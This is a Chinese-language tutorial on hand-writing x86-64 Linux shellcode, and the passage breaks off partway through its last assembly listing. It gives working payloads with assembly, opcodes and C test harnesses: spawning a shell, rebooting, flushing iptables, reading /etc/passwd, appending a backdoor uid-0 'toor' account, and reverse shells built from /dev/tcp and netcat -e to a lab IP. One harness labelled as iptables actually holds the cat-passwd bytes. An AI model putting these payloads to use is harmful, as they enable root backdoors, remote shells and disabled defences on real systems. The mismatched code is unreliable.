linux-shellcode开发之实战

[TOC]

1. 打开 terminal

参考:

Linux x86_64系统调用简介

syscall大全

Shellcodes database for study cases

Exploit Database Shellcodes

​ 《UNIX环境高级编程第3版》

首先我们来试试最经典的例子 —- 打开 terminal

那么问题来了用c语言该怎么写?

int execve(const char *filename, char *const argv[], char *const envp[]);

filename: 要执行的程序

argv[]:传递给新程序的参数字符串数组

envp[]: 传递给新程序的环境变量字符串数组

1.1 C语言版本

#include<stdio.h>
#include <stdlib.h>

int main()
{
	char *name[2];
	name[0] = "bin/sh";
	name[1] = 0x0;

	execve(name[0], name, NULL);
	exit(0);
}

用gcc编译一下,看看能否运行?

  • -z execstack 关闭 canary
  • -g 添加信息,便于 gdb 调试
gcc getTerminal.c -o terminal -z execstack -g
./terminal

image-20220806232610222

可以看到程序成功执行,说明我们的思路没有问题。

1.2 写汇编

从上面可以看到,这个 execve(“bin/sh”, [“bin/sh”], NULL) 参数是没有问题的,根据 execve 的系统调用号 0x3b 来布置函数栈帧。

global _start
section .text
 
_start:
	; execve("/bin/sh", ["/bin/sh"], NULL)
	; rax = 0x3b, rdx= NULL, rdi = '//bin/sh', rsi = '//bin/sh'
	xor		rdx, rdx
	mov		qword rbx, '//bin/sh'		; 0x68732f6e69622f2f
	shr		rbx, 0x8
	push		rbx
	mov		rdi, rsp
	push		rax
	push		rdi
	mov		rsi, rsp
	mov		al, 0x3b
	syscall

编译运行:

$ nasm -f elf64 execve_sh64.asm 
$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64 
$ ./execve_sh64 

image-20220807220010173

1.3 提取机器码

sakura@Kylin:~/文档/execveDir$ objdump -d execve_sh64

execve_sh64:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	48 31 d2             	xor    %rdx,%rdx
  401003:	48 bb 2f 2f 62 69 6e 	movabs $0x68732f6e69622f2f,%rbx
  40100a:	2f 73 68 
  40100d:	48 c1 eb 08          	shr    $0x8,%rbx
  401011:	53                   	push   %rbx
  401012:	48 89 e7             	mov    %rsp,%rdi
  401015:	50                   	push   %rax
  401016:	57                   	push   %rdi
  401017:	48 89 e6             	mov    %rsp,%rsi
  40101a:	b0 3b                	mov    $0x3b,%al
  40101c:	0f 05                	syscall 

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" 

自动提取机器码:

for i in $(objdump  -d readfile.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 

1.4 测试

将机器码嵌入C语言运行。

#include <stdio.h>
#include <string.h>


int main()
{
    const char shellcode[] =  "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
    //当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
    printf("Shellcode length: %d bytes\n",strlen(shellcode));
    (*(void(*)())shellcode)();
}

编译运行:

$ gcc execve_sh64.c -o execve_sh64 -z execstack -z norelro -no-pie -g
$ ./execve_sh64

成功执行。

image-20220807230925573

1.5 更少字节的

参考: FreeBSD x86_64 execve, 28 bytes

global _start
section .text

_start:
xor rcx, rcx
mul rcx

add al, 0x3b     ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/

; Argument one shell[0] = "/bin//sh"
push rdx     ; null
push rbx     ; hs//nib/

; We need pointers for execve()
push rsp     ; *pointer to shell[0]
pop rdi      ; Argument 1

; Argument two shell (including address of each argument in array)
push rdx     ; null
push rdi     ; address of shell[0]

; We need pointers for execve()
push rsp     ; address of char * shell
pop rsi      ; Argument 2

syscall
sakura@Kylin:~/文档/execveDir$ nasm -f elf64 execve_sh64.asm 
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64
sakura@Kylin:~/文档/execveDir$ ./execve_sh64 
$ exit
sakura@Kylin:~/文档/execveDir$ objdump -d execve_sh64

execve_sh64:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	48 31 c9             	xor    %rcx,%rcx
  401003:	48 f7 e1             	mul    %rcx
  401006:	04 3b                	add    $0x3b,%al
  401008:	48 bb 2f 62 69 6e 2f 	movabs $0x68732f2f6e69622f,%rbx
  40100f:	2f 73 68 
  401012:	52                   	push   %rdx
  401013:	53                   	push   %rbx
  401014:	54                   	push   %rsp
  401015:	5f                   	pop    %rdi
  401016:	52                   	push   %rdx
  401017:	57                   	push   %rdi
  401018:	54                   	push   %rsp
  401019:	5e                   	pop    %rsi
  40101a:	0f 05                	syscall 

sakura@Kylin:~/文档/execveDir$ for i in $(objdump  -d execve_sh64.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
sakura@Kylin:~/文档/execveDir$ 
#include <stdio.h>
#include <string.h>

int main()
{
    const char shellcode[] =  "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
    //当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
    printf("Shellcode length: %d bytes\n",strlen(shellcode));
    (*(void(*)())shellcode)();
}
sakura@Kylin:~/文档/execveDir$ gcc execve_sh64.c -o execve_sh64 -z execstack -z norelro -no-pie -g
....
sakura@Kylin:~/文档/execveDir$ ./execve_sh64
Shellcode length: 28 bytes
$ exit
sakura@Kylin:~/文档/execveDir$ 

1.6 变形

0x1

global _start
section .text

_start:
xor rcx, rcx
mul rcx

call do

add al, 0x3b     ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/

; Argument one shell[0] = "/bin//sh"
push rdx     ; null
push rbx     ; hs//nib/

; We need pointers for execve()
push rsp     ; *pointer to shell[0]
pop rdi      ; Argument 1

; Argument two shell (including address of each argument in array)
push rdx     ; null
push rdi     ; address of shell[0]

; We need pointers for execve()
push rsp     ; address of char * shell
pop rsi      ; Argument 2

syscall

_do:
ret
$ nasm -f elf64 execve_sh64.asm 
$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64 
$ ./execve_sh64 
$ objdump -d execve_sh64
$ for i in $(objdump  -d readfile.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 

0x2

Execute /bin/sh - 27 bytes

global _start
section .text

_start:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall

汇编求补指令neg

64位汇编语言中的符号位扩展说明

关于汇编语言中cdq指令作用解惑

cdq的作用无非就是将一个32位有符合数扩展为64位有符合数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5

2. 重启 reboot

2.1 找到指令位置

首先,查看 reboot 命令所在位置。

$ whereis reboot
reboot: /usr/sbin/reboot /usr/share/man/man8/reboot.8.gz

用此路径(/usr/sbin/reboot)作为参数,进行系统调用。

global _start
section .text
 
_start:
	; execve("/usr/sbin/reboot", ["/usr/sbin/reboot"], NULL)
	; rax = 0x3b, rdx= NULL, rdi = '/usr/sbin/reboot', rsi = '/usr/sbin/reboot'
	xor		rdx, rdx
	push  	rdx
	mov		rbx, 'n/reboot'
	push		rbx
	mov 	rbx, '/usr/sbi'
	push 		rbx
	mov		rdi, rsp
	push		rax
	push		rdi
	mov		rsi, rsp
	mov		al, 0x3b
	syscall

2.2 编译链接运行

$ nasm -f elf64 execve_reboot.asm
$ ld -m elf_x86_64 execve_reboot.o -o execve_reboot
$ ./execve_reboot

然后就重启了。

2.3 提取机器码

$ objdump -d execve_reboot 

execve_reboot:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000401000 <_start>:
  401000:	48 31 d2             	xor    %rdx,%rdx
  401003:	52                   	push   %rdx
  401004:	48 bb 6e 2f 72 65 62 	movabs $0x746f6f6265722f6e,%rbx
  40100b:	6f 6f 74 
  40100e:	53                   	push   %rbx
  40100f:	48 bb 2f 75 73 72 2f 	movabs $0x6962732f7273752f,%rbx
  401016:	73 62 69 
  401019:	53                   	push   %rbx
  40101a:	48 89 e7             	mov    %rsp,%rdi
  40101d:	50                   	push   %rax
  40101e:	57                   	push   %rdi
  40101f:	48 89 e6             	mov    %rsp,%rsi
  401022:	b0 3b                	mov    $0x3b,%al
  401024:	0f 05                	syscall 
"\x48\x31\xd2\x52\x48\xbb\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x73\x62\x69\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

2.4 测试

将机器码嵌入c语言运行。

#include <stdio.h>
#include <string.h>

int main()
{
    const char shellcode[] =  "\x48\x31\xd2\x52\x48\xbb\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x73\x62\x69\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
    //当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
    printf("Shellcode length: %d bytes\n",strlen(shellcode));
    (*(void(*)())shellcode)();
}

编译运行:

$ gcc execve_reboot.c -o execve_reboot -z execstack -z norelro -no-pie -g
$ ./execve_reboot

成功重启。

3. 防火墙

3.1 关闭防火墙

与防火墙相关的指令,转载于: Linux关闭防火墙命令

1:查看防火状态
systemctl status firewalld

2:暂时关闭防火墙
systemctl stop firewalld

3:永久关闭防火墙
systemctl disable firewalld
chkconfig iptables off

4:重启防火墙
systemctl enable firewalld

5:永久关闭后重启
//暂时还没有试过
chkconfig iptables on

我用systemctl 来查看防火墙,发现kylin v10似乎默认没有装防火墙的,那我们就自己装一下。

image-20220808235702935

查看防火墙状态:

image-20220808235838073

我发现,不管是关闭防火墙,还是打开防火墙,都需要 root 权限。而且在 Shellcodes database for study cases Exploit Database Shellcodes 这两个网站上,均没有关于防火墙的 shellcode。

image-20220816093541072

不过没有发现这个防火墙的shellcode,但是我发现了 iptable 的shellcode。

image-20220816094308437

#Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
#    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
#    Date: Fri 09 Jul 2010 03:26:12 PM EEST


section .text
	global _start
         
_start:
    xor     rax, rax
    push    rax
    push    word 0x462d
    mov     rcx, rsp
       
    mov     rbx, 0x73656c626174ffff
    shr     rbx, 0x10
    push    rbx
    mov     rbx, 0x70692f6e6962732f
    push    rbx
    mov     rdi, rsp
         
    push    rax
    push    rcx
    push    rdi
    mov     rsi, rsp
        
    ; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
    mov     al, 0x3b
    syscall
    
/*
Usage:
sakura@Kylin:~/文档/execveDir$ nasm -f elf64 iptable.asm 
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 iptable.o -o iptable
sakura@Kylin:~/文档/execveDir$ strace ./iptable 
sakura@Kylin:~/文档/execveDir$ for i in $(objdump  -d iptable.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
*/

#include <stdio.h>
int main()
{
	unsigned char shellcode[] = \
"\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x70\x61\x73\x73\x77\x64\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05";
    int (*ret)() = (int(*)())shellcode;
    ret();
}
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc iptable.c -o iptable -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ sudo ./iptable
*/
#需要root权限执行,否者缺少权限无法执行。

3.2 修改防火墙规则

linux防火墙iptables规则的查看、添加、删除和修改方法总结

4. passwd

4.1 读取 passwd

通过系统调用 命令cat 读取:

# Exploit Title: Linux/x64 - execve "cat /etc/passwd" Shellcode (66 bytes)
# Date: 2022-08-14
# Author: rgzz
# Tested on: Kylin v10
# Shellcode Length: 66

/*
;execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)

global _start
section .text

_start:

       xor rax, rax                   ; Zeroes out RAX.
       xor rbp, rbp                   ; Zeroes out RBP.

       push rax                       ; Pushes RAX's NULL-DWORD.

       mov rbp, 0x6477737361702f63    ; Moves value "dwsspa/c" into RBP.
       push rbp                       ; Pushes the vaueof RBP into the Stack.

       mov rbp, 0x74652f2f2f2f2f2f    ; Moves value "te//////" into RBP.
       push rbp                       ; Pushes the vaue of RBP into the Stack.

       mov rbp, rsp                   ; Copies the value of the Stack into RBP.
       push rax                       ; Pushes RAX's NULL-DWORD.

       mov rbx, 0x7461632f6e69622f    ; Moves value "tac/nib/" into RBX.
       push rbx                       ; Pushes the vaue of RBX into the Stack.

       mov rbx, rsp                   ; Copies the value of the Stack into RBX.

       mov rdi, rsp                   ; Copies the value of the Stack into RDI.
       push rax                       ; Pushes RAX's NULL-DWORD.

       mov rdx, rsp                   ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0.

       push rbp                       ; Pushes the vaue of RBP into the Stack.
       push rbx                       ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/passwd".

       mov rsi, rsp                   ; Copies this entire string from the Stack into RSI.

       push word 59                   ; Pushes the value 59 (syscall value for execve in the x64 format).
       pop ax                         ; Pops this value into AX so there are no NULLs.
       syscall                        ; The syscall is executed.
*/


/*
Usage:
sakura@Kylin:~/文档/execveDir$ nasm -f elf64 cat_passwd.asm 
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 cat_passwd.o -o cat_passwd
sakura@Kylin:~/文档/execveDir$ strace ./cat_passwd 
sakura@Kylin:~/文档/execveDir$ for i in $(objdump  -d cat_passwd.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
*/

#include <stdio.h>
int main()
{
	unsigned char shellcode[] = \
"\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x70\x61\x73\x73\x77\x64\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05";
    int (*ret)() = (int(*)())shellcode;
    ret();
}
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc cat_passwd.c -o cat_passwd -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ ./cat_passwd
*/

通过系统调用 read 方式读取:

# Exploit Title: Linux/x64 - read passwd
# Date: 2022-08-14
# Author: rgzz
# Tested on: Kylin v10
global _start
section .text

_start:
	jmp _push_filename
  
_readfile:
; syscall open file, 0x2
; open('/etc/passwd', O_RDWR), O_RDWR=0x2
pop rdi ; pop path value
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDWR flag
syscall
  
; syscall read file, 0x0
; read(fd, buf, 0xfff), rdi=rax=fd(fd is open's return number)
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
  
; syscall write to stdout, 0x1
; write(fd, buf, 0xfff)
xor rdi, rdi
inc rdi ; set stdout fd = 1
mov rdx, rax
xor rax, rax
inc rax
syscall
  
; syscall exit
xor rax, rax
add al, 60
syscall
  
_push_filename:
call _readfile
path: db "/etc/passwd"

/*
Usage:
akura@Kylin:~/文档/execveDir$ nasm -f elf64 rw_passwd.asm 
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 rw_passwd.o -o rw_passwd
sakura@Kylin:~/文档/execveDir$ ./rw_passwd
sakura@Kylin:~/文档/execveDir$ for i in $(objdump  -d rw_passwd.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
*/

/*
#include <stdio.h>
int main()
{
	unsigned char shellcode[] = \
"\xeb\x3b\x5f\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x48\xff\xc7\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xc0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
    int (*ret)() = (int(*)())shellcode;
    ret();
}
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc rw_passwd.c -o rw_passwd -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ ./rw_passwd
*/

4.2 写入 passwd

; Title: add root user (toor:toor)
; Date: 2022-08-14
; Author: rgzz
; Tested on: kylin v10
;
; Action: Adds a user into /etc/passwd with the following information
; username: toor
; password: toor
; uid: 0
; gid: 0
; home: /root
; shell: /bin/sh
;
; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh

global _start

section .text

_start:
	jmp _push_filename
	
; #define __NR_open 2
; int open(const char *pathname, int flags);
; rax -> 2
; rdi -> /etc/passwd
; rsi -> 0x401
;
; >>> hex(os.O_WRONLY ^ os.O_APPEND)
; 0x401
_openfile:
pop rdi 	  ; rdi -> /etc/passwd
xor rax, rax
xor rsi, rsi  ; rsi to zero
mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
add al, 0x2 ; rax -> 2 (open)
syscall ; open

xchg rdi, rax ; save returned fd
jmp short get_entry_address ; start jmp-call-pop

write_entry:
; #define __NR_write 1
; ssize_t write(int fd, const void *buf, size_t count);
; rax -> 1
; rdi -> results of open syscall
; rsi -> user's entry
; rdx -> len of user's entry
pop rsi ; end jmp-call-pop, rsi -> user's entry
push 0x1
pop rax ; rax -> 1
push 38 ; length + 1 for newline
pop rdx ; rdx -> length of user's entry
syscall ; write

; #define __NR_exit 60
; void _exit(int status);
; rax -> 60
; rdi -> don't care
push 60
pop rax
syscall ; OS will handle closing fd at exit

get_entry_address:
call write_entry
user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa

_push_filename:
call _openfile
path: db "/etc/passwd"

/*
sakura@Kylin:~/文档/execveDir$ gcc -c addRootUser.c -o addRootUser.o
sakura@Kylin:~/文档/execveDir$ gcc addRootUser.o -o addRootUser -static
Usage:
akura@Kylin:~/文档/execveDir$ nasm -f elf64 addRootUser.asm 
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 addRootUser.o -o addRootUser
sakura@Kylin:~/文档/execveDir$ ./addRootUser
sakura@Kylin:~/文档/execveDir$ for i in $(objdump  -d addRootUser.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 
*/
//注意:上面这个程序,编译后需要以root权限来执行,否则没有效果。至于提权,,目前还没有思路。。
//提权思路:在系统文件中找到一个具有777权限的文件,在里面写入我们的提权代码执行,或者是把我们的可执行文件,提升权限执行。


/*
#include <stdio.h>
int main()
{
	unsigned char shellcode[] = \
"\xeb\x4c\x5f\x48\x31\xc0\x48\x31\xf6\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\xe8\xaf\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
    int (*ret)() = (int(*)())shellcode;
    ret();
}
*/
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc addRootUser.c -o addRootUser -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ sudo ./addRootUser
*/

image-20220814135049772

4.2.1 其它版本

;http://www.shell-storm.org/shellcode/files/shellcode-801.php
;sc_adduser01.S
;Arch:          x86_64, Linux
;
;Author:        0_o -- null_null
;           nu11.nu11 [at] yahoo.com
;Date:          2012-03-05
;
\
;Purpose:       adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls:     setreuid, setregid, open, write, close, exit
;Result:        t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes:  /usr/include/x86_64-linux-gnu/asm/unistd_64.h

section .text
global _start
_start:
    ;sys_setreuid(uint ruid, uint euid)
    xor     rax,    rax
    mov     al,     113                     ;syscall sys_setreuid
    xor     rbx,    rbx                     ;arg 1 -- set real uid to root
    mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
    syscall
    
    ;sys_setregid(uint rgid, uint egid)
    xor     rax,    rax
    mov     al,     114                     ;syscall sys_setregid
    xor     rbx,    rbx                     ;arg 1 -- set real uid to root
    mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
    syscall
    
    ;push all strings on the stack prior to file operations.
    xor rbx,    rbx
    mov     ebx,    0x647773FF
    shr     rbx,    8
    push    rbx                             ;string \00dws
    mov     rbx,    0x7361702f6374652f
    push    rbx                             ;string sap/cte/
    mov     rbx,    0x0A687361622F6EFF
    shr     rbx,    8
    push    rbx                             ;string \00\nhsab/n
    mov     rbx,    0x69622F3A746F6F72
    push    rbx                             ;string ib/:toor
    mov     rbx,    0x2F3A3A303A303A67
    push    rbx                             ;string /::0:0:g
    mov rbx,    0x46556B554B587435
    push    rbx             ;string FUkUKXt5
    mov rbx,    0x546755333A723074
    push    rbx             ;string TgU3:r0t
    
    ;prelude to doing anything useful...
    mov rbx,    rsp         ;save stack pointer for later use
    push    rbp             ;store base pointer to stack so it can be restored later
    mov rbp,    rsp         ;set base pointer to current stack pointer
    
    ;sys_open(char* fname, int flags, int mode)
    sub rsp,        16
    mov [rbp - 16], rbx     ;store pointer to "t0r..../bash"
    mov si,     0x0401      ;arg 2 -- flags
    mov rdi,        rbx
    add rdi,        40      ;arg 1 -- pointer to "/etc/passwd"
    xor rax,        rax
    mov al,     2       ;syscall sys_open
    syscall
    
    ;sys_write(uint fd, char* buf, uint size)
    mov [rbp - 4],  eax     ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
    mov rcx,        rbx     ;arg 2 -- load rcx with pointer to string "t0r.../bash"
    xor rdx,        rdx
    mov dl,     39      ;arg 3 -- load rdx with size of string "t0r.../bash\00"
    mov rsi,        rcx     ;arg 2 -- move to source index register
    mov rdi,        rax     ;arg 1 -- move to destination index register
    xor     rax,            rax
    mov     al,             1               ;syscall sys_write
    syscall
    
    ;sys_close(uint fd)
    xor rdi,        rdi
    mov edi,        [rbp - 4]   ;arg 1 -- load stored file descriptor to destination index register
    xor rax,        rax
    mov al,     3       ;syscall sys_close
    syscall
    
    ;sys_exit(int err_code)
    xor rax,    rax
    mov al, 60          ;syscall sys_exit
    xor rbx,    rbx         ;arg 1 -- error code
    syscall

5. 反向shell

参考:

反弹shell原理与实现

IP地址如何用十六进制表示

Linux/x86-64 - Dynamic null-free reverse TCP shell - 65 bytes

FreeBSD/x86 - reverse connect dl(shellcode) and execute, exit - 90 bytes

Linux/x86-64 - Password Protected Reverse Shell - 136 bytes

Linux/x86-64 - Reverse TCP shell - 118 bytes

反弹Shell原理及检测技术研究

使用netcat进行反弹链接的shellcode

5.1 先通过命令来反弹shell

【1】先在攻击端(kali: 192.168.188.141)输入以下命令。

image-20220817211511413

【2】然后在靶机端(Kylin:192.168.188.146)输入以下命令(两种写法)

/bin/bash -i >& /dev/tcp/192.168.188.146/5566 0>&1
/bin/bash -i > /dev/tcp/192.168.188.146/5566 0>&1 2>&1

image-20220817211654594

具体原理可以参考先知社区上的这两篇文章

Linux反弹shell(一)文件描述符与重定向

——https://xz.aliyun.com/t/2548

Linux反弹shell(二)反弹shell的本质

——https://xz.aliyun.com/t/2549

不过这种 shell 命令,在用execve中运行会找不到这个 /dev/tcp/... 文件,因此我们只能在靶机端运行 nc 命令:netcat -e /bin/sh 192.168.188.141 5566

但是,如果你直接在 kylin 中运行上面这条命令的话,它会报错显示没有 -e 这条参数。这样就需要我们装一个完整的 netcat,然后再来执行上面这条命令。我将它安装在/home/sakura/tools/netcat

安装教程: 这可能是netcat最全的使用指南

5.2 再来用C语言来试试:(可以运行)

#include<stdio.h>
#include <stdlib.h>

int main()
{     
	char *name[6];
	name[0] = "/home/sakura/tools/netcat/src/netcat";
	name[1] = "-e";
 	name[2] = "/bin/sh";
 	name[3] = "192.168.188.141";
 	name[4] = "5566";
    name[5] = 0x0;

	execve(name[0], name, NULL);
	exit(0);
}

/*
sakura@Kylin:~/文档/execveDir$ gcc -c rev_tcp.c -o rev_tcp.o
sakura@Kylin:~/文档/execveDir$ gcc rev_tcp.o -o rev_tcp -static
sakura@Kylin:~/文档/execveDir$ objdump -sd rev_tcp.o -M intel

rev_tcp.o:     文件格式 elf64-x86-64

Contents of section .text:
 0000 f30f1efa 554889e5 4883ec40 64488b04  ....UH..H..@dH..
 0010 25280000 00488945 f831c048 8d050000  %(...H.E.1.H....
 0020 00004889 45c0488d 05000000 00488945  ..H.E.H......H.E
 0030 c8488d05 00000000 488945d0 488d0500  .H......H.E.H...
 0040 00000048 8945d848 8d050000 00004889  ...H.E.H......H.
 0050 45e048c7 45e80000 0000488b 45c0488d  E.H.E.....H.E.H.
 0060 4dc0ba00 00000048 89ce4889 c7e80000  M......H..H.....
 0070 0000bf00 000000e8 00000000           ............    
Contents of section .rodata:
 0000 2f686f6d 652f7361 6b757261 2f746f6f  /home/sakura/too
 0010 6c732f6e 65746361 742f7372 632f6e65  ls/netcat/src/ne
 0020 74636174 002d6500 2f62696e 2f736800  tcat.-e./bin/sh.
 0030 3139322e 3136382e 3138382e 31343100  192.168.188.141.
 0040 35353636 00                          5566.           
Contents of section .comment:
 0000 00474343 3a202855 62756e74 7520392e  .GCC: (Ubuntu 9.
 0010 332e302d 31306b79 6c696e32 2920392e  3.0-10kylin2) 9.
 0020 332e3000                             3.0.            
Contents of section .note.gnu.property:
 0000 04000000 10000000 05000000 474e5500  ............GNU.
 0010 020000c0 04000000 03000000 00000000  ................
Contents of section .eh_frame:
 0000 14000000 00000000 017a5200 01781001  .........zR..x..
 0010 1b0c0708 90010000 1c000000 1c000000  ................
 0020 00000000 7c000000 00450e10 8602430d  ....|....E....C.
 0030 06000000 00000000                    ........        

Disassembly of section .text:

0000000000000000 <main>:
   0:	f3 0f 1e fa          	endbr64 
   4:	55                   	push   rbp
   5:	48 89 e5             	mov    rbp,rsp
   8:	48 83 ec 40          	sub    rsp,0x40
   c:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
  13:	00 00 
  15:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  19:	31 c0                	xor    eax,eax
  1b:	48 8d 05 00 00 00 00 	lea    rax,[rip+0x0]        # 22 <main+0x22>
  22:	48 89 45 c0          	mov    QWORD PTR [rbp-0x40],rax
  26:	48 8d 05 00 00 00 00 	lea    rax,[rip+0x0]        # 2d <main+0x2d>
  2d:	48 89 45 c8          	mov    QWORD PTR [rbp-0x38],rax
  31:	48 8d 05 00 00 00 00 	lea    rax,[rip+0x0]        # 38 <main+0x38>
  38:	48 89 45 d0          	mov    QWORD PTR [rbp-0x30],rax
  3c:	48 8d 05 00 00 00 00 	lea    rax,[rip+0x0]        # 43 <main+0x43>
  43:	48 89 45 d8          	mov    QWORD PTR [rbp-0x28],rax
  47:	48 8d 05 00 00 00 00 	lea    rax,[rip+0x0]        # 4e <main+0x4e>
  4e:	48 89 45 e0          	mov    QWORD PTR [rbp-0x20],rax
  52:	48 c7 45 e8 00 00 00 	mov    QWORD PTR [rbp-0x18],0x0
  59:	00 
  5a:	48 8b 45 c0          	mov    rax,QWORD PTR [rbp-0x40]
  5e:	48 8d 4d c0          	lea    rcx,[rbp-0x40]
  62:	ba 00 00 00 00       	mov    edx,0x0
  67:	48 89 ce             	mov    rsi,rcx
  6a:	48 89 c7             	mov    rdi,rax
  6d:	e8 00 00 00 00       	call   72 <main+0x72>
  72:	bf 00 00 00 00       	mov    edi,0x0
  77:	e8 00 00 00 00       	call   7c <main+0x7c>
sakura@Kylin:~/文档/execveDir$ 
*/

5.3 然后我们用汇编来写 execve 调用

;execve("/home/sakura/tools/netcat/src/netcat", ["/home/sakura/tools/netcat/src/ne"..., "-e", "/bin/sh", "192.168.188.141", "5566"], NULL) = 0

global _start
section .text
_start:
    push rbp
    mov rbp, rsp
    sub rsp, 0x40
    mov qword rax, '5566AAAA'
	push rax
	mov qword rax, '188.141A'
	push rax
	mov qword rax, '192.168.'
	push rax
	mov qword rax, '/bin/shA'
	push rax
	mov qword rax, 'tcatA-eA'
	push rax
	mov qword rax, 't/src/ne'
	push rax
	mov qword rax, 'ls/netca'
	push rax
	mov qword rax, 'kura/too'
	push rax
	mov qword rax, '/home/sa'
	push rax
    
    xor byte [rsp+36], 0x41
